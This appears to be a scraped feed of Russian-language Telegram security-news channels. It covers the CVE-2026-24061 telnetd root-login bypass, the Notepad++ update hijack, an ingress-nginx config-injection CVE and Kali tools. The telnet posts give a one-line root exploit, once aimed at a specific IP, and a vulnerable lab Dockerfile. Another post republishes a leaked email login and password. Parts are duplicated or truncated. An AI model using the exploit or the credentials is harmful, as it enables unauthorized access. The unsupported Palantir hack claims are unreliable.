Forwarded from OWASP RU
В ближайшее время планируется запустить новый сайт консорциума OWASP (включая локальные отделения и проекты) и отказаться от использования площадки Meetup для подписки.
Stay tuned.
https://owasp.org/blog/2026/01/13/retiring-meetup.html
Stay tuned.
https://owasp.org/blog/2026/01/13/retiring-meetup.html
owasp.org
Announcing the Retirement of OWASP Meetup Platform | OWASP Foundation
Announcing the Retirement of OWASP Meetup Platform on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
👍1
Forwarded from Cybred
Еще даже не успели присвоить CVE
В
Под ударом практически все дистрибутивы Linux, которые ставят
— Debian / Ubuntu / Kali / Trisquel и производные
— Многие embedded-системы, старые роутеры, IoT-устройства, промышленные контроллеры, где до сих пор жив telnet
Shodan сейчас находит 732,350 устройств по всему миру.
А чтобы эксплуатировать, достаточно одной команды:
В
telnetd начиная с версии 1.9.3 (май 2015 года) и вплоть до 2.7 (включительно) существует уязвимость, которая позволяет любому подключиться от имени root, без проверки пароля.Под ударом практически все дистрибутивы Linux, которые ставят
inetutils-telnetd из репозиториев:— Debian / Ubuntu / Kali / Trisquel и производные
— Многие embedded-системы, старые роутеры, IoT-устройства, промышленные контроллеры, где до сих пор жив telnet
Shodan сейчас находит 732,350 устройств по всему миру.
А чтобы эксплуатировать, достаточно одной команды:
$ USER="-f root" telnet -a IP PORT
😱3
Forwarded from вольтаж
взломать интернет бесплатно 2026
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?🐱
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
и вот тут происходит кабум бабах ракета взрыв🤯
1. В бинаре
2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
3. содержимое
. . .
Теперь перечитай эксплойт
Да это же уязвимость наargument injection!
Повторим флоу атаки🃏
0. выставляем переменную
1. переменная
2.
3. сервер получает команду
4. бинарь
5. поздравляю,
Dockerfile для тестовой лабы
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
USER="-f root" telnet -a 104.16.149.244 23
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"и вот тут происходит кабум бабах ракета взрыв
1. В бинаре
login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
$USER с целевым логином3. содержимое
$USER переменной никак не санитизируется. . .
Теперь перечитай эксплойт
USER="-f root" telnet -a 104.16.149.244 23
Да это же уязвимость на
Повторим флоу атаки
0. выставляем переменную
$USER="-f root" и включаем автологин -a1. переменная
$USER не проверяется, но учитывается сервером2.
$USER подставляется в шаблон логина вместо {%U}3. сервер получает команду
/usr/bin/login -p -f root4. бинарь
login скипает аутентификацию из-за -f5. поздравляю,
ты root
———Dockerfile для тестовой лабы
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
Please open Telegram to view this post
VIEW IN TELEGRAM
😱4❤3🤯3👍1
Официальный механизм обновления Notepad++ был взломан для распространения вредоносного ПО среди отдельных пользователей.
Это произошло чуть более чем через месяц после того, как Notepad++ выпустил версию 8.8.9, в которой была устранена проблема, из-за которой трафик от WinGup, программы обновления Notepad++, «периодически» перенаправлялся на вредоносные домены, что приводило к загрузке зараженных исполняемых файлов.
В частности, проблема заключалась в том, как программа обновления проверяла целостность и подлинность загруженного файла обновления, что позволяло злоумышленнику, способному перехватывать сетевой трафик между клиентом обновления и сервером обновления, обманом заставить инструмент загрузить другой исполняемый файл.
Считается, что это перенаправление было целенаправленным: трафик, исходящий только от определенных пользователей, направлялся на мошеннические серверы и загружал вредоносные компоненты. Предполагается, что инцидент начался в июне 2025 года, более чем за шесть месяцев до того, как он стал известен.
«Атака включала в себя компрометацию инфраструктуры, которая позволила злоумышленникам перехватывать и перенаправлять трафик обновлений, предназначенный для notepad-plus-plus.org», — сказал разработчик Дон Хо . «Компрометация произошла на уровне хостинг-провайдера, а не через уязвимости в самом коде Notepad++».
Это произошло чуть более чем через месяц после того, как Notepad++ выпустил версию 8.8.9, в которой была устранена проблема, из-за которой трафик от WinGup, программы обновления Notepad++, «периодически» перенаправлялся на вредоносные домены, что приводило к загрузке зараженных исполняемых файлов.
В частности, проблема заключалась в том, как программа обновления проверяла целостность и подлинность загруженного файла обновления, что позволяло злоумышленнику, способному перехватывать сетевой трафик между клиентом обновления и сервером обновления, обманом заставить инструмент загрузить другой исполняемый файл.
Считается, что это перенаправление было целенаправленным: трафик, исходящий только от определенных пользователей, направлялся на мошеннические серверы и загружал вредоносные компоненты. Предполагается, что инцидент начался в июне 2025 года, более чем за шесть месяцев до того, как он стал известен.
🤯5😱3❤1
🤯5😱2👍1
Forwarded from SECURITM
«Что ждет Службы ИБ в 2026 году. Главные тренды и вызовы».
На вебинаре ответим на ключевые вопросы:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👍1
Forwarded from НеКасперский
Подписка посмертно
Джеффри очень хреново следил за безопасностью и реддиторы нашли его учётные данные в опубликованных файлах.
Официально покойный миллиардер стал спонсором лицензионного софта для тысяч людей, он подарил народу бесплатную подписку на Microsoft Office и облачное хранилище.
Логин
Кто-то поставил на аватарку фото растянутого Вэнса, а затем с этого адреса начали рассылать письма Биллу Гейтсу, Алексу Джонсу и Дональду Трампу. Параллельно предпринимались попытки через эту почту восстановить доступ к другим сервисам вроде Xbox, Spotify, Apple ID, Soulseek и Dropbox.
При этом миллиардер вообще не парился о сохранности своих данных, его Outlook-аккаунт даже не был защищён MFA.
Сейчас на аватарке красуется аниме-девочки, захвачен аккаунт какими-то российскими геймерами.
НеКасперский
Джеффри очень хреново следил за безопасностью и реддиторы нашли его учётные данные в опубликованных файлах.
Официально покойный миллиардер стал спонсором лицензионного софта для тысяч людей, он подарил народу бесплатную подписку на Microsoft Office и облачное хранилище.
Логин
lsje_llc@outlook.com принадлежит одной из подставных компаний Эпштейна, а пароль #1Island является отсылкой к его острову Little Saint James. Любопытные пользователи попробовали ввести найденные данные и авторизовались в почтовом ящике, после чего на аккаунте начал твориться полный хаос. Ранее похожий трюк сработал и от учётки его AppleID.Кто-то поставил на аватарку фото растянутого Вэнса, а затем с этого адреса начали рассылать письма Биллу Гейтсу, Алексу Джонсу и Дональду Трампу. Параллельно предпринимались попытки через эту почту восстановить доступ к другим сервисам вроде Xbox, Spotify, Apple ID, Soulseek и Dropbox.
При этом миллиардер вообще не парился о сохранности своих данных, его Outlook-аккаунт даже не был защищён MFA.
Сейчас на аватарке красуется аниме-девочки, захвачен аккаунт какими-то российскими геймерами.
НеКасперский
😱2
CVE-2026-20841
Windows Notepad App Remote Code Execution Vulnerability
Windows Notepad App Remote Code Execution Vulnerability
Почти тридцать лет notepad.exe считался эталоном «простой» утилиты, представлявшей собой незамысловатый буфер на базе Win32 для строк, который делал ровно одно... отображал текст. Рейтинг CVSS 8.8 для утилиты, предназначенной для просмотра данных, является фундаментальным нарушением принципа минимальных привилегий.
В какой-то момент им нужно перестать спрашивать: «Можно ли добавить эту функцию?» и начать спрашивать: «Нужен ли этому текстовому редактору стек рендеринга, учитывающий сетевые возможности?»
😱2
Forwarded from Femida
Хакеры сообщают о «взломе» Palantir
Журналист Ким «Дотком» заявляет, что Palantir был взломан на днях, и он является «доверенным лицом» для публикации материалов о взломе.
Со слов журналиста, компанию поломали через.. ИИ-агент. Кто решил повайбкодить внутри крупной военной спайверь-корпы - вопрос хороший.
Часть его заявлений:
Короче, информации много, правда абсолютно никаких доказательств журналист не предоставил, сказав лишь о том, что данные будут переданы России или Китаю. За что CTO Palantir его и упрекает.
Короче, посмотрим как события будут развиваться.👀
Журналист Ким «Дотком» заявляет, что Palantir был взломан на днях, и он является «доверенным лицом» для публикации материалов о взломе.
Со слов журналиста, компанию поломали через.. ИИ-агент. Кто решил повайбкодить внутри крупной военной спайверь-корпы - вопрос хороший.
Часть его заявлений:
У них есть тысячи часов расшифрованных и доступных для поиска разговоров Дональда Трампа, Джей Ди Вэнса и Илона Маска.
Они внедрили скрытые механизмы в устройства, автомобили и самолеты мировых лидеров и собрали крупнейший архив компрометирующих материалов.
Компания Palantir создает ядерное и биологическое оружие для Украины и тесно сотрудничает с ЦРУ для разгрома России. Они считают, что до победы остался год. Они планируют добиться этого, отвлекая Россию бессмысленными мирными переговорами.
Компания Palantir несёт ответственность за большинство смертей палестинцев в секторе Газа. Она разработала систему наведения искусственного интеллекта на Израиль.
Короче, информации много, правда абсолютно никаких доказательств журналист не предоставил, сказав лишь о том, что данные будут переданы России или Китаю. За что CTO Palantir его и упрекает.
Короче, посмотрим как события будут развиваться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Банки, деньги, два офшора
Мужчина положил деньги через банкомат и чуть не сел на 7 лет в тюрьму. @bankrollo
👍11❤2
Forwarded from k8s (in)security (r0binak)
В
Атака возможна, например, через аннотацию
Эксплуатация дает возможность получить доступ к секретам и другим ресурсам
ingress-nginx обнаружена (очередная) критическая уязвимость CVE-2026-3288, связанная с обработкой аннотаций Ingress ресурсов. Некоторые значения аннотаций подставляются в шаблон конфигурации NGINX без достаточной фильтрации, что позволяет атакующему внедрить произвольные директивы в итоговый nginx.conf. Уязвимость затрагивает версии ingress-nginx до 1.13.7 / 1.14.3.Атака возможна, например, через аннотацию
nginx.ingress.kubernetes.io/rewrite-target. Специально сформированное значение может привести к конфигурационной инъекции: при генерации конфигурации контроллер вставляет его в NGINX шаблон, после чего в nginx.conf появляются дополнительные директивы (например include, lua и другие). Это позволяет выполнить код в контексте ingress-nginx controller.Эксплуатация дает возможность получить доступ к секретам и другим ресурсам
Kubernetes, к которым имеет доступ контроллер, а в ряде сценариев — привести к полной компрометации кластера.Невыдуманные истории, без каких-либо пруфов.
За россиянами следят через «умные» колонки, напомнили в МВД. Мошенники взламывают такие устройства и подслушивают. Насторожиться стоит, если колонка активируется сама, внезапно включает музыку или выполняет команды без запроса. При таких признаках колонку советуют сразу отключить от сети и сменить пароль.
Forwarded from Академия Багхантинга
Кибератака не прощает промедления. За годы практики я убедился: компании рушатся не из-за самого взлома, а из-за хаоса в ответ на него. Паника, нескоординированные действия, потерянные доказательства — и как итог, многомиллионные убытки.
Старт: 15 апреля 2026 ⏲️
Дело не в том, произойдет ли атака. Дело в том, что вы предпримете в первые 30 минут.
Ссылка для регистрации:
https://bughunting-academy.ru/course_investigation
Чтобы этого избежать, мы запустили курс «Реагирование на компьютерные инциденты». Он для тех, кто сегодня отвечает за безопасность, и для тех, кто не хочет оказаться «крайним» завтра.
Старт: 15 апреля 2026 ⏲️
Дело не в том, произойдет ли атака. Дело в том, что вы предпримете в первые 30 минут.
Ссылка для регистрации:
https://bughunting-academy.ru/course_investigation
Forwarded from 0day Alert
Для Telegram начался отсчёт до публичного раскрытия критической уязвимости
Zero Day Initiative зафиксировала в Telegram критическую уязвимость и запустила обратный отсчёт на исправление. Подробности пока закрыты, но оценка 9,8 из 10 уже выводит находку в категорию самых опасных. Публичное раскрытие назначено на 24 июля 2026 года. И если разработчики не закроют проблему до этого срока, подробности о ней станут доступны каждому.
Даже без описания механики картина выглядит тревожно. Предварительный CVSS-вектор указывает на удалённую атаку через сеть, низкую сложность эксплуатации, отсутствие привилегий и даже участия пользователя. Для защитника такой набор означает худший тип неопределённости: уязвимость ещё не раскрыли, а контур возможного ущерба уже выглядит максимально широким.
В таких случаях рынок следит не за формулировками пресс-службы, а за скоростью инженерной реакции. Критическая ошибка в мессенджере не бьёт точечно. Критическая ошибка ставит под вопрос устойчивость всей среды, через которую проходят личные сообщения, рабочие обсуждения и чувствительные данные. Времени на спокойный разбор у Telegram почти нет.
#telegram #cvss #уязвимость #кибербезопасность
@ZerodayAlert
Zero Day Initiative зафиксировала в Telegram критическую уязвимость и запустила обратный отсчёт на исправление. Подробности пока закрыты, но оценка 9,8 из 10 уже выводит находку в категорию самых опасных. Публичное раскрытие назначено на 24 июля 2026 года. И если разработчики не закроют проблему до этого срока, подробности о ней станут доступны каждому.
Даже без описания механики картина выглядит тревожно. Предварительный CVSS-вектор указывает на удалённую атаку через сеть, низкую сложность эксплуатации, отсутствие привилегий и даже участия пользователя. Для защитника такой набор означает худший тип неопределённости: уязвимость ещё не раскрыли, а контур возможного ущерба уже выглядит максимально широким.
В таких случаях рынок следит не за формулировками пресс-службы, а за скоростью инженерной реакции. Критическая ошибка в мессенджере не бьёт точечно. Критическая ошибка ставит под вопрос устойчивость всей среды, через которую проходят личные сообщения, рабочие обсуждения и чувствительные данные. Времени на спокойный разбор у Telegram почти нет.
#telegram #cvss #уязвимость #кибербезопасность
@ZerodayAlert
❤2😱1
This media is not supported in your browser
VIEW IN TELEGRAM
24 марта вышел релиз Kali 2026.1. Из интересных фич - режим BackTrack Linux.
Вы можете запустить его непосредственно из меню или kali-undercover --backtrack в терминале.
Релиз Kali был бы неполным без новых инструментов, вот краткий обзор 8 новых инструментов, добавленных в репозитории:
• AdaptixC2 — Расширяемая платформа для постэксплуатации и эмуляции противодействия противникам.
• Atomic-Operator — выполнение атомарных тестов Red Team в различных операционных системах.
• Fluxion — инструмент для аудита безопасности и исследования методов социальной инженерии.
• GEF — современный интерфейс для GDB с расширенными возможностями отладки.
• MetasploitMCP — MCP-сервер для Metasploit.
• SSTImap — инструмент автоматического обнаружения SSTI с интерактивным интерфейсом.
• WPProbe — быстрый инструмент для перечисления плагинов WordPress.
• XSStrike — продвинутый сканер XSS.
В 2026 году исполняется 20 лет BackTrack Linux, предшественнику Kali . В честь этой знаменательной даты мы хотели вернуть ностальгию давним пользователям этого легендарного дистрибутива в области кибербезопасности, добавив в него «режим BackTrack» kali-undercover. Этот режим преобразует рабочий стол, воссоздавая внешний вид и ощущения BackTrack 5, с теми же обоями, цветами и темами окон.
Вы можете запустить его непосредственно из меню или kali-undercover --backtrack в терминале.
Релиз Kali был бы неполным без новых инструментов, вот краткий обзор 8 новых инструментов, добавленных в репозитории:
• AdaptixC2 — Расширяемая платформа для постэксплуатации и эмуляции противодействия противникам.
• Atomic-Operator — выполнение атомарных тестов Red Team в различных операционных системах.
• Fluxion — инструмент для аудита безопасности и исследования методов социальной инженерии.
• GEF — современный интерфейс для GDB с расширенными возможностями отладки.
• MetasploitMCP — MCP-сервер для Metasploit.
• SSTImap — инструмент автоматического обнаружения SSTI с интерактивным интерфейсом.
• WPProbe — быстрый инструмент для перечисления плагинов WordPress.
• XSStrike — продвинутый сканер XSS.
👍4❤2🤯2